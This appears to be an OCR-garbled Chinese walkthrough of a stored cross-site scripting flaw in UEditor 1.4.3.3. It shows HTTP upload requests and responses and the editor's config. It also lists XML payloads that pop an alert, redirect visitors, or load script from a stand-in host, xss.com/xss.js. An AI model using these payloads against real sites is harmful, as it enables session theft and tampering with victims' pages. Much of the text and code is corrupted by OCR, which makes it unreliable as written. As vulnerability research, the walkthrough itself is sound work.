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TEbit: https://github.com/fex—team/ueditor

IP: 192.168.10.1

BENXKER: ueditor1433(SEfmIFEHIETENER)
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1 POST /ueditor1433/php/control ler. php?action=uploadimage HTTR/1.1

2 Hest: 192.168.10.1

3 Centent-Length: 1880

4 Bache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6Origin: http://192. 168,101

7 Cantent=Type: multipart/form-data; boundary=-—--WebKitFormBoundaryBzrOSkAB1gVaPy2|

8 User-Agent: Mozilla/5.0 (Windows NT 10.0: Winé4: x64) ApploNebKit/537.36 (KHTML, |ike Gecko) Chrome/BS. 0. 4183, 121 Safari/5:

9 Accept:
text/html, applicatian/xhtm|+xml. application/xml:q=0 9. imags/a

10 Accept-Encoding: gzip. deflate

11 Accept-Language: zh-CN, zh:q=0.9

12 Connectien: close

13

14 it ¥ y21

15 Content-Disposition: form-data: name="upfile”: filename="1. png"

14 Content-Type: image/png

e/apng, */*:q=0. 8, appl ication/signed-sxchanj

image/webp, im
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Request Response

1 POST /uediter1433/php/contrel |er. php?action=uploadfile HITR/1. | 1 HTTR/1.1 200 OK
2 Host: 192.168.10.1 2 Date: Mon, 28 Sep 2020 06:56:38 GNT
3 Content-Length: 326 3 Server: Apache/2.4.39 (Wint4) OpenSSL/1.1.1b mod_fogid/2.3. % mod_log_rotates!, 02
4 Cache-Control: max-age=0 4 K-Powsred-By: PHP/7.1.9
5 Upgrade-Insecure-Requssts: | 5 Connection: close
& Origin: http://192.168.10.1 & Content-Type: text/html; charset=utf-B
7 f.‘nrltunt—l'wn multipart/forn-data: 7 Content-Length: 163
it AB1gVaPy21 8
o User-Agant: Mazil1a/5. 0 (Windows NT 10.0; Winbd: x64) 9 ["state”: SUCCESS \Jusditor\/php'/uplead\/fi 18\ /20200928Y/1601276198181514, km1”, "title”: " 160127619B181514, xal”,
AppleWebKit/537. 36 (KHTML, |ike Gecko) Chrome/85. 0.4183. 121 \ ariginal™:"1, xml”, " caml”, "size”:146)
Safari/537 36
7 Accept:

text/html. application/xhtm|+xml. application/xml:q=0.9, image/avif
. image/webp. image/apng, */*:q=0. B, appl ication/signed-axchange:v=b
30209
10 hecept-Encoding: gzip, deflate |
11 Accept-Language: zh-CN, zh:q=0.9

12 Connection: close
I i p 5 ¥ | n 1 »
———— {5uploadimagehuploadfile, FHEXCZIHEE IxmI, BEHIXMIFIFES
15 Gontent-Disposition: form-data: name="unfile": filename="1. xm!"4€T
16 Content-Type: imags/ang
17
18 <htmi>
19 <head></head>
20 Coady>
21 <something:script

xmins:somathing="http://www. wi. org/ 1999/ xhtml| ">
22 alert(1):

23 (/something:script> WA .
24 </hody> \'CJ ;—,— I"" J ac

25 </htal S

26 WebKi vBz Y21 ; ooLs
7 v

Thle)ft ARS8 E, BIIACAL FEE AN



<« X O A FE=£| 192.168.10.1//ueditor//php//upload//file//20200928//1601276198181514.xml
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BEHME EETARA THRAZRBEIIARAT url XX HERIIERERE, IMERFIEER

controller.xxx A3} |8)ER13

http://192.168.10.1/ueditor1433/php/controller.php?action=1listfile

< C O A F==2| 192.168.10.1/ueditor1433/php/controller.php?action=listfile

{"state™:"SUCCESS", "list™:[{"url":"/ueditor'/php\/upload\/file\/20200928\/1601276198181514.xml","mtime":1601276198]], "start":0,"total":1}
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<html>

<head></head>

<body>

<something:script xmlns:something="http://www.w3.0rg/1999/xhtml">
alert(1);

</something:script>

</body>

</html>

URLBkEE

<html>

<head></head>

<body>

<something:script xmlns:something="http://www.w3.0rg/1999/xhtml">
window.location.href="https://www.t00ls.net/";
</something:script>

</body>

</html>

mAZINH IS

<html>

<head></head>

<body>

<something:script src="http://xss.com/xss.js" xmlns:something="http://www.w3.0rg/1999/xht
mL">

</something:script>

</body>

</html>
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59 /AR SO v/
60 "fileActionName": "uploadfile”, /* controller L $iT H{L¥Mifaction il */
61 "fileFieldName": "upfile", /* MR EAFR */

62 "filePathFormat": "/ueditor/php/upload/file/{yyyy} {mm}{dd}/{time}{rand:&} /% AR RIT RS, af LA FE ST e S 1 440

63 "fileUrlPrefix®: "", /* SCPFUFRIERTENTLE +/

64 "fileMaxSize": 51 o /% BB, Mize, BRiASoMB */

85 © "fileAllowFilesa": [

66 " opng™, ".ipg”, ".ipeg”, ".gif", ".bmp",

67 " Eflv", ".awf", ".mkv", ".avi", ".rm", ".rmvk", ".mpeg”, ".mpg"”,

68 " ooog™, ".ogu, ".mov”, ".wmv®, ".mpd®, ".webm®, ".mp3®, ".wav", ".mid",

69 *.rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso",

70 ".doc”, ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", | "|SEEL"

o - 1, /% EALSCPER LAk +/
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73 /* SRR Hat FRIBE R+

74 “imageManagerActionName": “"listimage”, /* IMATHEH E Fllaction ¥R */

s "imageManagerListPath": "/ueditor/php/upload/image/", /* ffiEEIHEFIHaE */

76 "imageManagerListSize" o I BEIRAH SO+

77 "imageManagerUrlPrefix": "", /* PHN FMIERIEATE */ ul
8 "imageManagerInsertAlign": "none", /* i NBYEHIERN S */ |
79 "imageManagerAllowFiles": [".png", ".jpg", ".jpeg", ".gif", ".bmp"1, /% FUHFISCPEAERY &y

80

81 /* SR E H ot FrscfE xy

"fileManagerActionName™: "listfile", /* #WiT XM ElAYaction#iFR *+/
"fileManagerListPath": “"/ueditor/php/upload/files", /* IFEEHNH LM */

"fileManagerUrlPrefix": "%, /* WPFUjRIFRITHATER +/
"fileManagerListSize": o O BRSSO R vy
=] "fileManagerAllowFiles": [

".png", ".jpg", ".Jjpeg", ".gif", ".bmp",
"Ely", ".awE", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg”, ".mpg",
".ogg", ".ogv", ".mov", ".wmv", ".mpd4", ".webm", ".mp3", ".wav", ".mid",
".rar®, ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso", - . )
".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml" I (i ol ==t Y )
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